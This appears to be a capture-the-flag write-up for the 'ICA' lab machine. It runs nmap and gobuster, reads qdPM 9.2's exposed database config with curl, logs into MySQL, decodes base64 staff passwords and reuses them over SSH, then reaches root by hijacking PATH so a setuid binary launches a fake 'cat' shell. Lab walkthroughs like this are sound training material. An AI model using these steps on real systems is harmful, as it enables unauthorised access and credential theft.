Port17 / Technical archives

Field notes

CTF : ICA

Informations

  • IP: 192.168.0.163
  • MYIP: 192.168.0.36

First enumeration

Basics

  • NMAP
console
$ sudo nmap -p- -A 192.168.0.163          
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-02 22:17 CET
Nmap scan report for 192.168.0.163
Host is up (0.00017s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 0e:77:d9:cb:f8:05:41:b9:e4:45:71:c1:01:ac:da:93 (RSA)
|   256 40:51:93:4b:f8:37:85:fd:a5:f4:d7:27:41:6c:a0:a5 (ECDSA)
|_  256 09:85:60:c5:35:c1:4d:83:76:93:fb:c7:f0:cd:7b:8e (ED25519)
80/tcp    open  http    Apache httpd 2.4.48 ((Debian))
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.48 (Debian)
3306/tcp  open  mysql   MySQL 8.0.26
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.26
|   Thread ID: 40
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, ConnectWithDatabase, Speaks41ProtocolNew, LongColumnFlag, SupportsCompression, SwitchToSSLAfterHandshake, IgnoreSpaceBeforeParenthesis, SupportsTransactions, SupportsLoadDataLocal, InteractiveClient, ODBCClient, Speaks41ProtocolOld, FoundRows, IgnoreSigpipes, LongPassword, DontAllowDatabaseTableColumn, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: ?\x1E:\x0F	lf\x01R\x05|r\x07\x1Bq\x04j?rK
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.26_Auto_Generated_Server_Certificate
| Not valid before: 2021-09-25T10:47:29
|_Not valid after:  2031-09-23T10:47:29
|_ssl-date: TLS randomness does not represent time
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.92%I=7%D=3/2%Time=621FDEDC%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x
SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes
SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND
SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC
SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0
SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\
SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:54:CC:C5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms 192.168.0.163

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.35 seconds

First I use gobuster to find anything that would be interresting.

console
$ gobuster dir -r -f -w /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt -u http://192.168.0.163 -x cgi,html,txt,js,php,php.bak,bak,zip,sql,sql.bak,tgz,tar.gz,bkp,tar,rar,id_rsa,log,xml,json,sh,py,pl,rb,csv,pub -b 400,404 2>/dev/null
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.163
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-big.txt
[+] Negative Status codes:   400,404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              cgi,id_rsa,rb,csv,pub,zip,sql,tgz,bkp,log,xml,pl,html,php,bak,sql.bak,tar.gz,json,sh,txt,js,php.bak,tar,rar,py
[+] Add Slash:               true
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2022/03/02 22:19:47 Starting gobuster in directory enumeration mode
===============================================================
/images/              (Status: 200) [Size: 2368]
/index.php            (Status: 200) [Size: 5664]
/icons/               (Status: 403) [Size: 278] 
/uploads/             (Status: 200) [Size: 1140]
/css/                 (Status: 200) [Size: 1308]
/template/            (Status: 200) [Size: 1706]
/core/                (Status: 200) [Size: 3055]
/install/             (Status: 200) [Size: 1815]
/manual/              (Status: 200) [Size: 676] 
/js/                  (Status: 200) [Size: 1958]
/javascript/          (Status: 403) [Size: 278] 
/check.php            (Status: 200) [Size: 0]   
/sf/                  (Status: 200) [Size: 1142]
/readme.txt           (Status: 200) [Size: 470] 
/robots.txt           (Status: 200) [Size: 26]  
/backups/             (Status: 200) [Size: 744] 
/batch/               (Status: 200) [Size: 943] 
/server-status/       (Status: 403) [Size: 278]

In the same time the index page show us a login screen of qdpm

http://192.168.0.163 => qdPM 9.2

qdpm should be vulnerable, so I check with searchsploit.

console
$ searchsploit qdpm 9.2               
------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                       |  Path
------------------------------------------------------------------------------------- ---------------------------------
qdPM 9.2 - Password Exposure (Unauthenticated)                                       | php/webapps/50176.txt
------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
console
searchsploit -m php/webapps/50176.txt
  Exploit: qdPM 9.2 - Password Exposure (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/50176
     Path: /usr/share/exploitdb/exploits/php/webapps/50176.txt
File Type: ASCII text

Copied to: /home/boula/CTF/ICA/50176.txt

And, visibly, we could get a password. :)

console
$ cat 50176.txt                       
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4

The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.

Version 9.2 let's anyone access the config file.

console
$ curl http://192.168.0.163/core/config/databases.yml
  
all:
  doctrine:
    class: sfDoctrineDatabase
    param:
      dsn: 'mysql:dbname=qdpm;host=localhost'
      profiler: false
      username: qdpmadmin
      password: "<?php echo urlencode('UcVQCMQk2STVeS6J') ; ?>"
      attributes:
        quote_identifier: true

Here it is. And hopefully mysql port is available :)

console
$ mysql -h 192.168.0.163 -u qdpmadmin -p UcVQCMQk2STVeS6J
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 77
Server version: 8.0.26 MySQL Community Server - GPL

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
console
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| qdpm               |
| staff              |
| sys                |
+--------------------+
6 rows in set (0.02 sec)
console
mysql> select * from configuration;
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
| id | key                                  | value                                                                                                                    |
+----+--------------------------------------+--------------------------------------------------------------------------------------------------------------------------+
|  1 | app_administrator_email              | admin@localhost.com                                                                                                      |
|  2 | app_administrator_password           | $P$EmesnWRcY9GrK0hDzwaV3rvQnMJ/Fx0

Ok so we have a mail and a password for qdpm

Let's try another database :

console
mysql> use staff;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------+
| Tables_in_staff |
+-----------------+
| department      |
| login           |
| user            |
+-----------------+
3 rows in set (0.00 sec)
console
mysql> select * from user;
+------+---------------+--------+---------------------------+
| id   | department_id | name   | role                      |
+------+---------------+--------+---------------------------+
|    1 |             1 | Smith  | Cyber Security Specialist |
|    2 |             2 | Lucas  | Computer Engineer         |
|    3 |             1 | Travis | Intelligence Specialist   |
|    4 |             1 | Dexter | Cyber Security Analyst    |
|    5 |             2 | Meyer  | Genetic Engineer          |
+------+---------------+--------+---------------------------+
5 rows in set (0.00 sec)

mysql> select * login
    -> ;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'login' at line 1
mysql> select * from login;
+------+---------+--------------------------+
| id   | user_id | password                 |
+------+---------+--------------------------+
|    1 |       2 | c3VSSkFkR3dMcDhkeTNyRg== |
|    2 |       4 | N1p3VjRxdGc0MmNtVVhHWA== |
|    3 |       1 | WDdNUWtQM1cyOWZld0hkQw== |
|    4 |       3 | REpjZVZ5OThXMjhZN3dMZw== |
|    5 |       5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+
5 rows in set (0.01 sec)

mysql>

So we have some new pass:

  • smith:WDdNUWtQM1cyOWZld0hkQw==
  • lucas:c3VSSkFkR3dMcDhkeTNyRg==
  • travis:REpjZVZ5OThXMjhZN3dMZw==
  • dexter:N1p3VjRxdGc0MmNtVVhHWA==
  • meyer:Y3FObkJXQ0J5UzJEdUpTeQ==

It seems to be base64 encoded...so :

console
$ echo -ne 'WDdNUWtQM1cyOWZld0hkQw==' | base64 -d -
[...]
  • smith:X7MQkP3W29fewHdC
  • lucas:suRJAdGwLp8dy3rF
  • travis:DJceVy98W28Y7wLg
  • dexter:7ZwV4qtg42cmUXGX
  • meyer:cqNnBWCByS2DuJSy

I tried those creds against ssh and two of them works : travis and dexter

So we got a shell :)

Exploit

console
$ ssh travis@192.168.0.163
$ ssh dexter@192.168.0.163
console
travis@debian:~$ cat user.txt 
ICA{Secret_Project}

Privilege escalation

Enumeration for privesc

console
travis@debian:~$ id
uid=1002(travis) gid=1002(travis) groups=1002(travis),33(www-data)
console
dexter@debian:~$ id
uid=1001(dexter) gid=1001(dexter) groups=1001(dexter)

None of them can do stuff with sudo. So I decided to search binaries with suid.

console
travis@debian:~$ find / -perm -4000 2>/dev/null
/opt/get_access
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Clearly, /opt/get_access is not a common setuid binary. So, I give it a try.

console
travis@debian:~$ ls -al /opt/get_access
-rwsr-xr-x 1 root root 16816 Sep 25 09:25 /opt/get_access
travis@debian:~$ file /opt/get_access
/opt/get_access: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=74c7b8e5b3380d2b5f65d753cc2586736299f21a, for GNU/Linux 3.2.0, not stripped

Alright, /opt/get_access got a setuid bit. So we might use it to privesc.

console
travis@debian:~$ strings /opt/get_access
[...]
cat /root/system.info
[...]

Ok, cat is called without an absolute path. Let's try to use it !

Exploit

First, we have to modify PATH env variable and put "." at the begining of it.

console
travis@debian:~$ export PATH=.:$PATH
travis@debian:~$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Then we gonna create a fake cat binary that actually launch a shell.

console
travis@debian:~$ echo "/bin/sh -i" > cat
travis@debian:~$ chmod +x cat 

And now we run /opt/get_access

console
# whoami
root
# cd /root/
# cat root.txt
ICA{Next_Generation_Self_Renewable_Genetics}

\o/